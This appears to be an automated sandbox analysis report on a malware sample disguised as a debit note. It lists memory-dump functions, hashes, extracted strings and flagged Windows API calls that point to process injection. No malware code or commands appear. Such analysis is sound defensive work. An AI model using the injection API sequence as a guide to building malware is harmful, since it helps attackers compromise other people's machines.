Opcode ID: e8d99776da3a1deea7fcc1ec562fd6d3f25032158472b07d8300c197e08d5379
Instruction ID: 2745f3955ed91f8a92722227a47a65b96090be5dbf40162a38ec09a6e94c114f
Opcode Fuzzy Hash: e8d99776da3a1deea7fcc1ec562fd6d3f25032158472b07d8300c197e08d5379
Instruction Fuzzy Hash: F0D112B0D01219CFEBA0CFA9C884BADBBF2FF49315F1084AAD509A7281D7785985CF50

Function 070FF7E8 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1942103729.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70e0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbb0749cf142dcb183cfd67d76b6d78c71e580e8ce0227530ff66f4f1341defa
Instruction ID: 28f9e20e5df3ba41a87ee914aab19448c8b4fc69fdd4a4e3a60ba1e9402d6554
Opcode Fuzzy Hash: dbb0749cf142dcb183cfd67d76b6d78c71e580e8ce0227530ff66f4f1341defa
Instruction Fuzzy Hash: 245148B4E1420ACFDB04CFA9D484AEEBBF2FB89300F108169E515B7754D774A9428B94

Function 06E715B3 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941932242.0000000006E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e70000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d80ee399f59006360636e520ce6dc0f595c2c8936cda8e7368adf8caba192a1e
Instruction ID: bbb7253a36589f4c8a01fd78120e840a1966fb6b094fe200c246e4271155e2ce
Opcode Fuzzy Hash: d80ee399f59006360636e520ce6dc0f595c2c8936cda8e7368adf8caba192a1e
Instruction Fuzzy Hash: 0C51E570E05318DFEB64CF9AD844BDDBBB6FB88300F0891AAD809A7254DB745A85CF50

Function 06D1F520 Relevance: 4.2, Strings: 3, Instructions: 479
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 06D1FA24
Hbq, xrefs: 06D1F9F5
Hbq, xrefs: 06D1FA74

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: Hbq$Hbq$Hbq
API String ID: 0-2297679979
Opcode ID: 1f662d45d7d01f2955ba936111196b2ab304434c8f82712854b6a0a4f4d1de66
Instruction ID: 5c33fcf353800a4abffcbad6bd298e477c1c712c62fe22749c1fb8078eb0d795
Opcode Fuzzy Hash: 1f662d45d7d01f2955ba936111196b2ab304434c8f82712854b6a0a4f4d1de66
Instruction Fuzzy Hash: B9129C70A002059FDBA4DFA5D894A6EB7F2FF88300F24852DD54A9B365DB71EC46CB90

Function 06CF0E40 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 06CF105A
4'^q, xrefs: 06CF1139
4'^q, xrefs: 06CF11B9

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q
API String ID: 0-1196845430
Opcode ID: 06816a73656076e997db77ed92fc2693f272056d1947c73e37cdd6074d74cfb2
Instruction ID: 208cfd0116dce4ed4d608f87a4ded37d4e061e01d47ae397ff8dc91dc633af5a
Opcode Fuzzy Hash: 06816a73656076e997db77ed92fc2693f272056d1947c73e37cdd6074d74cfb2
Instruction Fuzzy Hash: 90F10C34B10118DFCB88DFA4D998A9DB7B2FF88700F158558E906AB3A5DB71ED42CB50

Function 06CF5420 Relevance: 4.1, Strings: 3, Instructions: 363
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 06CF55A1
(bq, xrefs: 06CF5549
(bq, xrefs: 06CF5575

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: (bq$(bq$Hbq
API String ID: 0-2835675688
Opcode ID: 1fe14e8ab1ff0ee652dc484e490af0d6a8157ff6913654b1ff4bcd284f3ecf03
Instruction ID: a099a4e9975a480f4ce63e5b1ae1ff10f1ab29cc27a31c330da6b4c9765a37b8
Opcode Fuzzy Hash: 1fe14e8ab1ff0ee652dc484e490af0d6a8157ff6913654b1ff4bcd284f3ecf03
Instruction Fuzzy Hash: E9E12E34B10209DFCB84EF64D59499DBBB2FF89300F508569E916AB365DB30ED42CB91

Function 06C036E8 Relevance: 3.1, Strings: 2, Instructions: 577COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06C03E99
4'^q, xrefs: 06C03EA9

Memory Dump Source

Source File: 00000000.00000002.1939027468.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c00000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: b595ae2f7d39f72f2ac117adfd3c7b347f6c7fc87d91843b96689950dded9683
Instruction ID: e7abd8629e052b4ee45d5eba712d9854d4c4d34c15f8cfd688614dde7106d0d1
Opcode Fuzzy Hash: b595ae2f7d39f72f2ac117adfd3c7b347f6c7fc87d91843b96689950dded9683
Instruction Fuzzy Hash: 52422874E0425ACFEB94DFA9D5486ADB7B2FF49301F10801AD51AAB394C7359D42CFA0

Function 06C046F8 Relevance: 3.0, Strings: 2, Instructions: 488
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 06C04D9B
4'^q, xrefs: 06C04D8B

Memory Dump Source

Source File: 00000000.00000002.1939027468.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c00000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 234311b9e571fb29cc3e513e3ce8ac7ef5c80a7745fad589754c07f5da60399a
Instruction ID: 27d897fe1f003a01ba8670347d3d59d66a319c0b43ad4ef5fc6adf7929541ec4
Opcode Fuzzy Hash: 234311b9e571fb29cc3e513e3ce8ac7ef5c80a7745fad589754c07f5da60399a
Instruction Fuzzy Hash: B7220134E11218CFDBA8DFA4C6546ADB7B2FF49305F60806AC60AAB394CB755E45CF40

Function 06D1EBD0 Relevance: 2.9, Strings: 2, Instructions: 353
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 06D1EE31
(bq, xrefs: 06D1EBE4

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: (bq$d
API String ID: 0-3334038649
Opcode ID: ba73e233c6175906c4d1dc459df4b053e96fd201853ae1d99a4c553a9f7a2d18
Instruction ID: 731bba1b90700e4a704d703240250793241f980bd8c12722c943121947947003
Opcode Fuzzy Hash: ba73e233c6175906c4d1dc459df4b053e96fd201853ae1d99a4c553a9f7a2d18
Instruction Fuzzy Hash: AED17B316006069FCB64CF29D48096ABBF3FF88310B15C969E85A9B765DB70FD46CB90

Function 06C03EE8 Relevance: 2.7, Strings: 2, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 06C041C8
4'^q, xrefs: 06C041D8

Memory Dump Source

Source File: 00000000.00000002.1939027468.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c00000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: ab9eb53be330534513e8c7bbb313b832376a55486c7fc5574e2a10ee4268ba48
Instruction ID: 9b345295d8dd5a71e9600e5c04c4faa6da45b920a3b4992746b88b9963250962
Opcode Fuzzy Hash: ab9eb53be330534513e8c7bbb313b832376a55486c7fc5574e2a10ee4268ba48
Instruction Fuzzy Hash: 7DA10974E01209CFEB58DFE5D4486AEBBB2FF49301F108069D9166B394C7359A41CFA1

Function 06DFC001 Relevance: 2.7, Strings: 2, Instructions: 193
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 06DFC138
Hbq, xrefs: 06DFC164

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: (bq$Hbq
API String ID: 0-4081012451
Opcode ID: b553830abdc3927087dc1805f142b913dbbad8921e92bb5e53762735efbe0e8c
Instruction ID: c071820e85a9fcdbb89b9be86dd8e2a81624b7ee75f34209269983d1a112454e
Opcode Fuzzy Hash: b553830abdc3927087dc1805f142b913dbbad8921e92bb5e53762735efbe0e8c
Instruction Fuzzy Hash: C371F2706206058FD7A4CF69C58021BBBF2FF85300F26C66AD15A8B3A1DB76DC46CB91

Function 06D1D609 Relevance: 2.7, Strings: 2, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 06D1D77B
(bq, xrefs: 06D1D724

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: (bq$(bq
API String ID: 0-4224401849
Opcode ID: af7234639d3d2a789661e218f0fc7f84c104f6431e589c4f325523a2591197a2
Instruction ID: 3a40858f5b1b83d2fe18fb06227f4de16d58b6c2ae8208637bc68d4aaff522cd
Opcode Fuzzy Hash: af7234639d3d2a789661e218f0fc7f84c104f6431e589c4f325523a2591197a2
Instruction Fuzzy Hash: 3C51BE317002099FCB559F29E840AAE7BA6FF84750F248169E8068F3A5CF75DC46CBE1

Function 06DFF890 Relevance: 2.7, Strings: 2, Instructions: 178
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 06DFFA25
(bq, xrefs: 06DFF996

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: (bq$Hbq
API String ID: 0-4081012451
Opcode ID: 3ff22b95fc3c440a170e7042e67965191ebb6c8916c97aa6682ced38469356fc
Instruction ID: 4178ae68311b94a8ca28fdcad1440b7ae9b0c5b27ae8fdbbe7169806e3cb4a19
Opcode Fuzzy Hash: 3ff22b95fc3c440a170e7042e67965191ebb6c8916c97aa6682ced38469356fc
Instruction Fuzzy Hash: 975199347002548FC799AF39D41462EBBB3FF99700B21456DDA068B3A4CE31EC02CBA5

Function 06D1B399 Relevance: 2.6, Strings: 2, Instructions: 116COMMON

Download Yara Rule

Strings

%, xrefs: 06D1B67D
d%dq, xrefs: 06D1B506

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: %$d%dq
API String ID: 0-2125707188
Opcode ID: ec496311a246e37b536b57a1cc10ac7666816f3796f64b08fd38edd1e5d02453
Instruction ID: b05f61cdcdc6611d8dc8641dc3d2c9806daae439b8dcdc596a409eee81c6030f
Opcode Fuzzy Hash: ec496311a246e37b536b57a1cc10ac7666816f3796f64b08fd38edd1e5d02453
Instruction Fuzzy Hash: 07514F74A01219DFEB64CF24DC44B9AB7B2FB89301F5081E9D44AAB794CB749E81CF51

Function 06D104FE Relevance: 2.6, Strings: 2, Instructions: 94COMMON

Download Yara Rule

Strings

TJcq, xrefs: 06D10174
), xrefs: 06D101A1

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: )$TJcq
API String ID: 0-4119893428
Opcode ID: 3d4e75062ac7f8a28ddc6380431e93c4374aa69aa0221207d164e3094a302f15
Instruction ID: eb85d1f40ecf637d4753b790995f824be933755383f0777fde36848160f1fd52
Opcode Fuzzy Hash: 3d4e75062ac7f8a28ddc6380431e93c4374aa69aa0221207d164e3094a302f15
Instruction Fuzzy Hash: A541F070A04219DFDB50DF99E894BEDBBF2BB49304F50819AE509AB285CB74ADC1CF50

Function 06D1825A Relevance: 2.6, Strings: 2, Instructions: 71COMMON

Download Yara Rule

Strings

B, xrefs: 06D18705
6, xrefs: 06D18726

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 6$B
API String ID: 0-3063775530
Opcode ID: 7d69a128e6c21211cc2e870b7f852358185574c1ed96c7dd2a04ab7268020502
Instruction ID: e836a7ea9c0cc4bdec605914be720b0a2958758914d3795ed6aebd1288e7c7ac
Opcode Fuzzy Hash: 7d69a128e6c21211cc2e870b7f852358185574c1ed96c7dd2a04ab7268020502
Instruction Fuzzy Hash: F73136B4A11218EFDB90CF54E888B9EB7F2FB49315F008599E949AB341C3B4DA85DF41

Function 06D183E8 Relevance: 2.6, Strings: 2, Instructions: 62COMMON

Download Yara Rule

Strings

B, xrefs: 06D18705
6, xrefs: 06D18726

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 6$B
API String ID: 0-3063775530
Opcode ID: 73d045f95d337aba5b39d176b2160585520ea16432cc215b005ca215f02ecba1
Instruction ID: de58f69fca356fcc5d44de7b3d910de56bc33d35fa91ed3ddfe6cf27eeb79ff6
Opcode Fuzzy Hash: 73d045f95d337aba5b39d176b2160585520ea16432cc215b005ca215f02ecba1
Instruction Fuzzy Hash: C22136B4A00218EFDB50CF54E888B9EB7B2FB49311F008596E94AAB350C374DA81DF51

Function 06D18462 Relevance: 2.5, Strings: 2, Instructions: 40COMMON

Download Yara Rule

Strings

6, xrefs: 06D18726
%, xrefs: 06D184C4

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: %$6
API String ID: 0-4287965478
Opcode ID: 7d58bd08cbd959472bd46d0384a2ed01d359da1cf64e72e4ca6da62aaca5309d
Instruction ID: d086d3ae9df2a471b7f3337ce983c0085774ff9e13184e34c12d86040a85aba2
Opcode Fuzzy Hash: 7d58bd08cbd959472bd46d0384a2ed01d359da1cf64e72e4ca6da62aaca5309d
Instruction Fuzzy Hash: 02115BB4A04218EFDB60CF14E988B99B7B2FB46312F040499E545AB344C3B8D980EF12

Function 06D1761C Relevance: 2.5, Strings: 2, Instructions: 29COMMON

Download Yara Rule

Strings

2, xrefs: 06D1767C
0, xrefs: 06D1765C

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 0$2
API String ID: 0-3793063076
Opcode ID: b59b92019dc564a7aba11c4baeb06aa23401c71ad5dde8b4b5665fb72408dfb4
Instruction ID: a1f8fe9deef0914ae07d1ca5f853e7f059b8927bf785df6c958e420bd2152472
Opcode Fuzzy Hash: b59b92019dc564a7aba11c4baeb06aa23401c71ad5dde8b4b5665fb72408dfb4
Instruction Fuzzy Hash: 4301AF74A01218EFEB50CF58E984BAEB7F6FB09304F0081A6E819EB251D7709E81CF41

Function 06CF1D20 Relevance: 1.9, Strings: 1, Instructions: 677COMMON

Download Yara Rule

Strings

,bq, xrefs: 06CF209B

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: ,bq
API String ID: 0-2474004448
Opcode ID: ab31a3d0fbfff4918c44dfaaeb98378fd610550cea4d272f45b4a28929ec1957
Instruction ID: e96324032dd57b8561eeca2b04f110e5744309a6acef80e42afcc1d7003c0fcb
Opcode Fuzzy Hash: ab31a3d0fbfff4918c44dfaaeb98378fd610550cea4d272f45b4a28929ec1957
Instruction Fuzzy Hash: 33520B75A102288FDBA4CF69C940BDDBBF6FB88700F1541D9E609AB355DA349E80CF61

Function 06D1C610 Relevance: 1.8, Strings: 1, Instructions: 531COMMON

Download Yara Rule

Strings

(_^q, xrefs: 06D1C89D

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: (_^q
API String ID: 0-538443824
Opcode ID: b96c6ffe7513d682d3809c8a5ccfef8c253ec2b829d76eef4ce70a3cb7e17c90
Instruction ID: d775d9472a5543da7144653023fccdd12e9892ba2c5adecb700a82f94347e8af
Opcode Fuzzy Hash: b96c6ffe7513d682d3809c8a5ccfef8c253ec2b829d76eef4ce70a3cb7e17c90
Instruction Fuzzy Hash: 16226B71A50205AFDB58DFA9D494A6DB7F2FF88700F15806AE905DF3A1CAB5EC40CB90

Function 065C7EDD Relevance: 1.7, APIs: 1, Instructions: 212processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 065C80C2

Memory Dump Source

Source File: 00000000.00000002.1937124691.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 289899379a854a6c3076f5a4ec561ba4b7581f240617152391ede50afba2e2ab
Instruction ID: 22adc7aa846c9985a11b90beadfc29a2ac573a9dd0ae974a5e7c1216aeca8331
Opcode Fuzzy Hash: 289899379a854a6c3076f5a4ec561ba4b7581f240617152391ede50afba2e2ab
Instruction Fuzzy Hash: 72813471D006599FDB50CFA9C8817EEBBF1FF48324F248529E868A7280DB749885CF91

Function 065C7EE8 Relevance: 1.7, APIs: 1, Instructions: 201processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 065C80C2

Memory Dump Source

Source File: 00000000.00000002.1937124691.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 6e0b019bd6fe96a152f530ce912328c24bb064e1d3919c4229faf0ac1b8c9fac
Instruction ID: cb6ed9158b7803146239c672ea638b6d27b0d7e4e2cf95949fb066de4f4e167a
Opcode Fuzzy Hash: 6e0b019bd6fe96a152f530ce912328c24bb064e1d3919c4229faf0ac1b8c9fac
Instruction Fuzzy Hash: A8811371D006599FDB50CFA9C8817EEBBF1FF48324F148529E868A7284DB759885CF81

Function 06E7BE24 Relevance: 1.6, APIs: 1, Instructions: 150fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?,?), ref: 06E7BF75

Memory Dump Source

Source File: 00000000.00000002.1941932242.0000000006E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e70000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: c88b1af468a9162bb68946b91cda2fdc71e81e730ccda2b4684124396e8d155a
Instruction ID: e5f6cff53ffebea3350b5b54ccac0f06f98c75fb78823fc3bad7e639d9c5dfcb
Opcode Fuzzy Hash: c88b1af468a9162bb68946b91cda2fdc71e81e730ccda2b4684124396e8d155a
Instruction Fuzzy Hash: D7518674D003599FDB54CFA9C885BAEBBF2EF48714F248529E854E7284DB749881CF82

Function 06E7BE30 Relevance: 1.6, APIs: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?,?), ref: 06E7BF75

Memory Dump Source

Source File: 00000000.00000002.1941932242.0000000006E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e70000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: f89919a62c956c30c28d2b90c9665597652f21c53078b59c7a9f6ef5b29fac9a
Instruction ID: be3172dec6026e4c2f5fbaca5e72dce92d50b323aea1c02c7cd16f0df44c9777
Opcode Fuzzy Hash: f89919a62c956c30c28d2b90c9665597652f21c53078b59c7a9f6ef5b29fac9a
Instruction Fuzzy Hash: 025164B0D003598FDB54CFA9C8857AEBBF2EF48714F249529E854E7284DB749881CF82

Function 065CA408 Relevance: 1.6, APIs: 1, Instructions: 76injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 065CA4A0

Memory Dump Source

Source File: 00000000.00000002.1937124691.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 42cd6a37d770a86b082337ad25b893313ccff33eeaa9d661a59b169966f3d0db
Instruction ID: df2f3b1ab839c7d5f5ca14627da074d37b0a1004b2d4480810008f8608e4dab5
Opcode Fuzzy Hash: 42cd6a37d770a86b082337ad25b893313ccff33eeaa9d661a59b169966f3d0db
Instruction Fuzzy Hash: 672139759002499FCB10CFA9C885BDEBBF5FF88320F108429E558A7250C7749944CFA5

Function 065CA410 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 065CA4A0

Memory Dump Source

Source File: 00000000.00000002.1937124691.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 5f6d77eabe42d83a5384f68ef0e97a49793958626a9447514e257113d87c6ee4
Instruction ID: 7fad4fbac9a9e3ad2012a7379845b27b4c9328265955118ff9ee695ce9afb8a0
Opcode Fuzzy Hash: 5f6d77eabe42d83a5384f68ef0e97a49793958626a9447514e257113d87c6ee4
Instruction Fuzzy Hash: 912126B19003599FCB10CFAAC885BEEBBF5FF48320F108429E958A7250C7789944CBA4

Function 065C9BF2 Relevance: 1.6, APIs: 1, Instructions: 67threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 065C9C76

Memory Dump Source

Source File: 00000000.00000002.1937124691.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: e1c7191cb70db863a7ab84035dd807cd95e71dd7d1e2692dab9c5c85483fa0c9
Instruction ID: b1a9a43b24e77e1533ef75585b2bb722723d48519a7f43b6f13071d29c64c3e5
Opcode Fuzzy Hash: e1c7191cb70db863a7ab84035dd807cd95e71dd7d1e2692dab9c5c85483fa0c9
Instruction Fuzzy Hash: 3F2116B19002099FDB10DFAAC4857EEBBF4EB88324F108429D459A7241D778A945CFA5

Function 065C9BF8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 065C9C76

Memory Dump Source

Source File: 00000000.00000002.1937124691.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: f3397f7f7ef78cd60d254d6a5abba453037a74a3f7340a84ba29e59c7ccfebac
Instruction ID: a2b219cd343c9e3648d3e7b21f921eaa1e5115422bac5b3ed335f86d592750f8
Opcode Fuzzy Hash: f3397f7f7ef78cd60d254d6a5abba453037a74a3f7340a84ba29e59c7ccfebac
Instruction Fuzzy Hash: 192107B1D002098FDB10DFAAC4857EEBBF4EF88324F148429D559A7241C7789945CFA5

Function 06E71EF1 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 06E71F67

Memory Dump Source

Source File: 00000000.00000002.1941932242.0000000006E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e70000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 26f678c7236eef6248995bd85de83a40e2e0e447ae9cd366b646dff207423b51
Instruction ID: 13dfe952e1252f73d7e00df2c8004a3402b83078efa3388103452506fa508955
Opcode Fuzzy Hash: 26f678c7236eef6248995bd85de83a40e2e0e447ae9cd366b646dff207423b51
Instruction Fuzzy Hash: 06118CB19003598FDB10DFAAC845BEEFFF8AF48210F24842AD454A7240C7359944CBA4

Function 065CA198 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 065CA20E

Memory Dump Source

Source File: 00000000.00000002.1937124691.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3bc0696bd915b5988307b4992ed8a01cfd9c775f6b91f46c32be3f2692a9746b
Instruction ID: 64991014d34b7625d76262c2f0f72449575959c56d183d60528c81ac4cccbb77
Opcode Fuzzy Hash: 3bc0696bd915b5988307b4992ed8a01cfd9c775f6b91f46c32be3f2692a9746b
Instruction Fuzzy Hash: 3C1147B58002589FCB10DFAAD845AEFBFF5EF48320F208419E555A7250C775A940CFE5

Function 0150FEA0 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 0150FF14

Memory Dump Source

Source File: 00000000.00000002.1921479569.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1500000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 94f44e156427f1f01cfce6f26ea5dc302d48e350f30faeaeeaac76de47714e08
Instruction ID: 9a18c357c87ed0475620605d664faa3b9044679da16680e3d529fa12844b437a
